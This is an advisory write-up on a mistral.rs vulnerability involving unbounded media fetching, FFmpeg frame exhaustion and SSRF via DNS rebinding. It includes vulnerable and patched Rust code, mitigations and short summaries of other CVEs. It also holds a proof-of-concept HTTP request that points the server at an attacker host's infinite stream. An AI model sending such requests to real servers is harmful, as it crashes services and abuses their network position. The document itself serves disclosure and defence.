Sep 10, 2026·8 min read·15 visits
Unauthenticated remote attackers can crash the mistral.rs server via Out-Of-Memory (OOM) or exhaust storage/CPU resources by sending crafted media URLs to the completions API.
An unbounded resource consumption and server-side request forgery (SSRF) vulnerability in mistral.rs allows remote, unauthenticated attackers to cause a denial of service (DoS) or execute SSRF attacks. The flaw exists in mistralrs-server-core due to unchecked remote media fetching, infinite stream buffering, and unbounded FFmpeg frame extraction.
mistral.rs is an LLM inference engine that includes an OpenAI-compatible HTTP server component managed by the mistralrs-server-core crate. This server registers the /v1/chat/completions endpoint as an unauthenticated route by default. This design exposes a critical attack surface when processing multi-modal models that accept media files such as images, audio, and video.\n\nTo process these multi-modal inputs, the server must access the specified media assets. Clients can submit these assets either as raw Base64 data encoded inside Data URLs or as remote web URLs. The server resolves, downloads, and parses these resources on the hosting system. Because these requests occur in an unauthenticated context and are initiated by the server itself, any lack of input sanitation or boundary enforcement poses immediate availability and security risks.\n\nThis specific security flaw, identified as GHSA-m3wp-48jr-vr4g, represents a multi-faceted failure in resource control and destination validation. It encompasses four core vulnerabilities: uncapped memory allocation during remote file retrieval, uncontrolled disk and CPU consumption during video frame extraction, Server-Side Request Forgery (SSRF) via DNS rebinding, and memory exhaustion through unchecked data URLs. A remote, unauthenticated attacker can exploit these issues to crash the host system or abuse the server's network position to scan internal resources.
The root cause of the uncontrolled resource consumption lies in the lack of byte-limiting boundaries during incoming network streams. When processing a remote media URL, the server initiates an HTTP connection using the reqwest crate. In vulnerable versions, the application reads the entire response body directly into heap memory via the bytes() method without performing preliminary checks on the size of the payload.\n\nBecause the server does not enforce a Content-Length boundary or monitor the rate of incoming data, the download buffer expands dynamically to fit the payload. An attacker can direct the server to an infinite HTTP stream or a massive file. The host system's memory becomes saturated, eventually triggering the operating system's Out-Of-Memory (OOM) killer to terminate the mistral.rs process.\n\nIn addition to memory exhaustion, the video parsing workflow in mistralrs-server-core/src/video.rs fails to restrict the quantity of frames processed. The server delegates frame extraction to an external ffmpeg process. Because the frame limit parameter is left as None when invoked from the main chat completion route, FFmpeg attempts to extract every single frame of the target video to individual PNG files in /tmp/mistralrs_video/. A long, high-framerate video causes massive disk write operations and high CPU utilization, saturating storage resources.\n\nFinally, the SSRF protection mechanism in vulnerable versions is fundamentally flawed. The reject_private_host validation routine only inspects the target hostname before the connection is established. This design is highly vulnerable to DNS rebinding attacks. An attacker can configure a malicious domain with a minimal Time-To-Live (TTL) record so that the validation check resolves to a benign public IP address, but the subsequent fetch connects to a local or private address. Adjacent parsing functions for images, audio, and videos do not apply any validation, allowing local system file exposure via the file:/// protocol.
To understand the mechanical failures, consider the implementation of remote file retrieval in mistralrs-server-core/src/util.rs prior to the remediation patch:\n\nrust\n// Vulnerable remote image/audio download implementation\nlet bytes = if url.scheme() == "http" || url.scheme() == "https" {\n match reqwest::get(url.clone()).await {\n Ok(http_resp) => http_resp.bytes().await?.to_vec(), // Unbounded buffer allocation\n Err(e) => anyhow::bail!(e),\n }\n};\n\n\nThe expression http_resp.bytes().await attempts to load the entire HTTP response body into memory at once. If the target resource is an infinite byte stream, this function never returns and continues allocating memory until exhaustion. No stream length limit or buffer cap is present in this path.\n\nmermaid\ngraph LR\n A["Client Request with URL"] --> B["Resolve Hostname"]\n B --> C{"Host Private?"}\n C -- "No (Safe)" --> D["Initiate HTTP Request"]\n D --> E["Stream Bytes into RAM"]\n E --> F{"Check Size Limit?"}\n F -- "No Limit (Vulnerable)" --> G["Allocations Expand Until OOM"]\n F -- "Limit Enforced (Patched)" --> H["Aborts on Max Bytes"]\n\n\nThe fix introduces the read_response_limited function inside the newly created media_source.rs module. Instead of loading the response directly, the patched code consumes the response stream in chunks and tracks the accumulated size. If the accumulated size exceeds the hard threshold of 64 megabytes (MAX_MEDIA_BYTES), the routine aborts immediately, preventing resource exhaustion.\n\nrust\n// Patched chunked streaming implementation with size boundaries\npub(crate) const MAX_MEDIA_BYTES: usize = 64 * 1024 * 1024; // 64 MB Limit\n\nasync fn read_response_limited(\n mut response: reqwest::Response,\n max_bytes: usize,\n kind: &str,\n) -> Result<Vec<u8>> {\n let mut bytes = Vec::new();\n while let Some(chunk) = response.chunk().await? {\n // Verify that adding the chunk does not violate the maximum byte threshold\n if bytes.len().saturating_add(chunk.len()) > max_bytes {\n anyhow::bail!("{kind} response exceeds the {max_bytes} byte limit.");\n }\n bytes.extend_from_slice(&chunk);\n }\n Ok(bytes)\n}\n
An attacker can exploit the unbounded HTTP fetch vulnerability by setting up a rogue web server designed to stream infinite bytes. This rogue server listens on a public port and accepts connections without closing them. When mistral.rs attempts to parse a multi-modal request pointing to this rogue server, the target consumes memory indefinitely.\n\nhttp\nPOST /v1/chat/completions HTTP/1.1\nHost: target-server:8000\nContent-Type: application/json\n\n{\n "model": "default",\n "messages": [\n {\n "role": "user",\n "content": [\n {\n "type": "image_url",\n "image_url": {\n "url": "http://attacker-controlled-server.com/infinite_stream"\n }\n },\n {\n "type": "text",\n "text": "Deconstruct this visual representation."\n }\n ]\n }\n ]\n}\n\n\nFor the video frame expansion attack, the attacker does not need an infinite stream. A highly compressed three-minute video file with high resolution and high frame rate is sufficient. When the server processes this asset, it invokes the local ffmpeg binary. Because no frame bounding option is passed, FFmpeg processes every single frame, writing thousands of PNG assets to the storage volume. This action depletes storage space and consumes all available processing cycles, degrading system availability.
The remediation implemented in Pull Request #2263 establishes comprehensive, multi-layered security controls. The primary defense-in-depth architecture resides in media_source.rs. This component segregates file operations depending on the source of the request, applying different validation rules to local requests and external client requests.\n\nTo neutralize Server-Side Request Forgery and DNS rebinding, the patch replaces standard host resolution with a manual lookup step before connecting. The server obtains the complete list of target socket addresses and passes them through a strict verification filter (reject_private_ip). Once the target IP addresses are validated as safe, they are hard-pinned to the reqwest client configuration using the resolve_to_addrs method. This technique ensures that subsequent connection requests connect only to the pre-verified IPs, rendering DNS rebinding attempts completely ineffective.\n\nrust\n// Anti-SSRF and DNS Rebinding resolution locking\nlet addrs = validate_remote_url(&url).await?;\nclient = client.resolve_to_addrs(url.host_str().expect("validated URL has host"), &addrs);\n\n\nThe fix also restricts video parsing operations. For requests initiated via the external server API, a strict limit of 32 frames is enforced (SERVER_VIDEO_FRAME_LIMIT). This modification prevents FFmpeg from executing uncontrolled write loops on the disk. Lastly, incoming Base64-encoded Data URLs are validated by calculating the estimated size of the payload prior to execution, blocking memory-intensive decoding tasks.\n\nEvaluating the patch confirms that the fix is technically sound and comprehensive. It addresses the architectural flaws directly rather than relying on surface-level filtering. By combining manual DNS resolution, address pinning, chunked HTTP body limitations, and default frame extraction ceilings, the system blocks both memory-based and storage-based denial of service vectors.
The recommended and primary remediation path is to upgrade mistral.rs to version v0.8.18 or later. This release integrates the hardened media_source.rs implementation, making it safe to run multi-modal processing workflows on publicly accessible networks. Security administrators must ensure that all running container images and deployment manifests are updated to pull this version.\n\nIf patching is not immediately feasible, system administrators must deploy compensatory controls to reduce the active attack surface. Deploy a reverse proxy such as Nginx or Envoy in front of the engine to enforce request timeout limits and restrict maximum request body sizes. Network security groups or host firewalls should be configured to restrict the egress capabilities of the mistral.rs process, preventing it from initiating arbitrary connections to external networks or sensitive internal infrastructure.\n\nAdditionally, if video parsing capabilities are not required in the operational environment, remove the ffmpeg binary from the server's path environment variable. This action prevents the execution of the frame extraction subprocess, mitigating the disk and CPU exhaustion threat. Configure the runtime environment to execute mistral.rs with strict system resource ceilings (using Docker resource limits or systemd slice configurations) to isolate any memory consumption spikes and prevent host-wide kernel crashes.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
mistralrs-server-core EricLBuehler | < 0.8.18 | v0.8.18 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400, CWE-918 |
| Attack Vector | Network (AV:N) |
| CVSS Severity | 7.5 (High) |
| Exploit Status | Proof-of-Concept Publicly Available |
| KEV Status | Not Listed |
| Impact | Denial of Service (OOM/Disk Exhaustion), SSRF |
The product does not properly control the allocation and maintenance of a limited resource, enabling an actor to influence the amount of resources consumed.
CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.
An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.
CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.
CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.
CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.
CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.